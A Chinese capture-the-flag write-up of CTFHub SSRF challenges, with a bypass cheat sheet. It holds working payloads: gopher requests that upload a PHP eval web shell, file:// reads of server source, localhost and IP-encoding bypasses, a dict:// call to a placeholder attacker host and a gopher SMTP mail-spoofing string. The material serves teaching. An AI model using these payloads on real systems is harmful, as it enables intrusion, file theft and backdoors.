SSRF
SSRF
背景
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者伪造形成由服务器端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统
概述
很多的web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用的话,可以利用存在缺陷的web应用作为代理攻击远程和本地服务器
作用
1.可以对外网服务器所在的内网,本地进行端口扫描,获取一些服务的banner信息
2.攻击运行在内网或者本地的应用程序
3.对内网web应用进行指纹识别,通过访问默认文件实现
4.攻击内外网的web应用。sql注入,struct2,redis等
5.利用file协议读取本地文件等
内网访问
先进行dirsearch扫描,发现有flag.php
访问一下其源码发现有ip限制
直接使用127.0.0.1进行内网访问
1 | http://challenge-25917a94dca3ca9a.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php |
成功得到flag
伪协议读取文件
先看一下flag.php的源码
直接看源代码,找到flag
端口扫描
打开题目之后发现什么都没有,但是跟内网访问漏洞差不多,根据题目的hint可以看出端在8000-9000之间
将127.0.0.1:8000-9000
拼接入 GET 传参中,使用 BurpSuite 对端口进行爆破:
找出来长度不一样的8800端口,直接url访问,找到flag
POST请求
进入靶场,首先看到的是一片空白,没有任何返回,甚至源码里面也没有任何东西,使用dirsearch扫描,下面是一些命令的含义
1 | 参数列表: |
扫出来了一个/index.php文件以及一个/flag.php文件
先通过file协议看一看flag.php以及index.php的源码
url=file:///var/www/html/flag.php
1 | \\flag.php |
url=file:///var/www/html/index.php
1 | \\index.php |
首先来访问一下flag.php文件,我们让url=127.0.0.1,通过内网来访问就能直接访问到,访问后看到的是一个方框
查看源码之后知道要post一个key传送到/flag.php
当我们把key放在里面传送的时候,发现有限制,只能用127.0.0.1的路径传输
再看一下index.php,这里是用了curl函数来获取并且输出数据
调用 curl_setopt()
设置传输选项
根据 curl_setopt()
设置的传输选项,实现回调函数以完成用户特定任务
curl函数可以支持的伪协议有很多,gopher,file,dict,https等
首先先来认识一下gopher协议
1 | gopher协议是互联网上使用的分布型的文件搜集获取网络协议,是一种分布式文档传递服务器。利用该服务,用户可以无缝地浏览,搜索和检索驻留在不同位置的信息,gopher协议支持发出的GET,POST请求:可以先截获get请求包或者post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议,同时SSRF中经常会使用Gopher来构造GET/POST包进行攻击 |
file协议
1 | file协议主要是用于访问本地计算机中的文件,要是使用file协议,基本格式如下file:///文件路径 |
dict协议
1 | 词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。 |
https协议
1 | HTTPS 并非是应用层的一种新协议。只是 HTTP 通信接口部分用 SSL(SecureSocket Layer)和 TLS(Transport Layer Security)协议代替而已。 |
所以这一题就需要用gopher协议,向flag.php传一个post文报,报文里面含有key,大概的内容为url=gopher://127.0.0.1:80/_POST报文内容,这样,我们就可以通过伪造的127.0.0.1的ip来上传key
首先来构造一下POST报文
1 | POST /flag.php HTTP/1.1 |
POST报文中必须包含Host ,Content-Length ,Content_Type后面加上我们想传输的数据,但是GET请求中可以没有
在POST后接上/flag.php,代表着我们想把数据传输的这个目录里去
302跳转
表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL
这里可以通过访问302.php,并且传参gopher来伪造本地访问
这里我们报文内容显示在url上输入,被解码后保存到curl里面,再通过curl输出跳转,又解码了一次,所以我们要对POST报文内容进行两次url编码
在第一次编码要把%0A全部改成%0D0A,%0A是在linux系统中代表换行符,在windos中是%0D%0A代表换行符,但是网上的编码器大都是编码的%0A,所以我们需要改成windos能够识别的
第一次编码
1 | POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=a3b4373b4897b524012d43674d6249e3 |
第二次编码
1 | POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=a3b4373b4897b524012d43674d6249e3 |
然后输入url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%2520%2520%250D%250Akey=6c42e4b05c4a5b666f337ae89d969e1d
上传文件
还是先使用dirsearch扫描一下
发现有flag.php文件以及302.php文件
首先来看一下flag.php的内容
可知是随便上传一个文件就行,访问127.0.0.1/flag.php,可以看到一个上传界面,但是没有提交键,所以这时候就需要手动补一个
然后再随便上传个东西抓一下包
进行两次编码,但是要注意的是第一次编码也需要将%0A改为%0D%0A
第一次编码
1 | POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20challenge-5852d438b3bca312.sandbox.ctfhub.com:10800%0D%0AUser-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64;%20rv:99.0)%20Gecko/20100101%20Firefox/99.0%0D%0AAccept:%20text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8%0D%0AAccept-Language:%20zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%0D%0AAccept-Encoding:%20gzip,%20deflate%0D%0AContent-Type:%20multipart/form-data;%20boundary=---------------------------414691864916047361701712488296%0D%0AContent-Length:%20388%0D%0AOrigin:%20http://challenge-5852d438b3bca312.sandbox.ctfhub.com:10800%0D%0AConnection:%20close%0D%0AReferer:%20http://challenge-5852d438b3bca312.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%0D%0ACookie:%20UM_distinctid=17d9519d0e590b-083a4ee93a98a98-4c3e217e-13c680-17d9519d0e67de%0D%0AUpgrade-Insecure-Requests:%201%0D%0A%0D%0A-----------------------------414691864916047361701712488296%0D%0AContent-Disposition:%20form-data;%20name=%22file%22;%20filename=%22shell.php%22%0D%0AContent-Type:%20application/octet-stream%0D%0A%0D%0A%3C?php%20@eval($_POST%5Bshell%5D);?%3E%0D%0A-----------------------------414691864916047361701712488296%0D%0AContent-Disposition:%20form-data;%20name=%22submit%22%0D%0A%0D%0A%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2%0D%0A-----------------------------414691864916047361701712488296-- |
第二次编码
1 | POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-5852d438b3bca312.sandbox.ctfhub.com:10800%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:99.0)%2520Gecko/20100101%2520Firefox/99.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8%250D%250AAccept-Language:%2520zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=---------------------------414691864916047361701712488296%250D%250AContent-Length:%2520388%250D%250AOrigin:%2520http://challenge-5852d438b3bca312.sandbox.ctfhub.com:10800%250D%250AConnection:%2520close%250D%250AReferer:%2520http://challenge-5852d438b3bca312.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250ACookie:%2520UM_distinctid=17d9519d0e590b-083a4ee93a98a98-4c3e217e-13c680-17d9519d0e67de%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------414691864916047361701712488296%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522shell.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255Bshell%255D);?%253E%250D%250A-----------------------------414691864916047361701712488296%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------414691864916047361701712488296-- |
在进行一次最初的抓包,使用gopher协议进行伪造,最终获得flag
fastcgi协议
fastcgi是向php-fpm发送报文的,而由于php-fpm的默认端口是9000,所以我们用nc去监听一下9000端口
1 | nc -lvvp 9000>yy.txt |
URL Bypass
打开题目,发现有限制
也就是url的参数值必须得含有http://notfound.ctfhub.com
,所以这一题应该是绕过
此处就可以采用@,也就是HTTP基本身份认证绕过
HTTP基本身份认证允许Web浏览器或者其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式
也就是:http://www.xxx.com@www.yy.com的形式
因为这里有特定的网址,所以直接在后面加@+127.0.0.1
所以直接构造payload
1 | ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php |
直接得到flag
总结一下SSRF的绕过方法
1.攻击本地
1 | http://127.0.0.1:80 |
2.利用[::]
http://[::]:80/ =>http://127.0.0.1
不加端口的话是http://[::]/
3.利用@
这里就是在指定的网址后加@+127.0.0.1
4.利用短域名
http://dwz.cn/11SMa >>> http://127.0.0.1
5.利用特殊域名
原理是DNS解析
http://www.owasp.org.127.0.0.1.xip.io/
6.利用DNS解析
在域名上设置A记录,指向127.0.0.1
7.利用上传
修改”type=file”为”type=url”
比如:上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
8.利用句号
127。0。0。1=>127.0.0.1
9.进行进制转换
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
10.利用特殊地址
11.利用协议
Dict://
dict://@:/d:
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a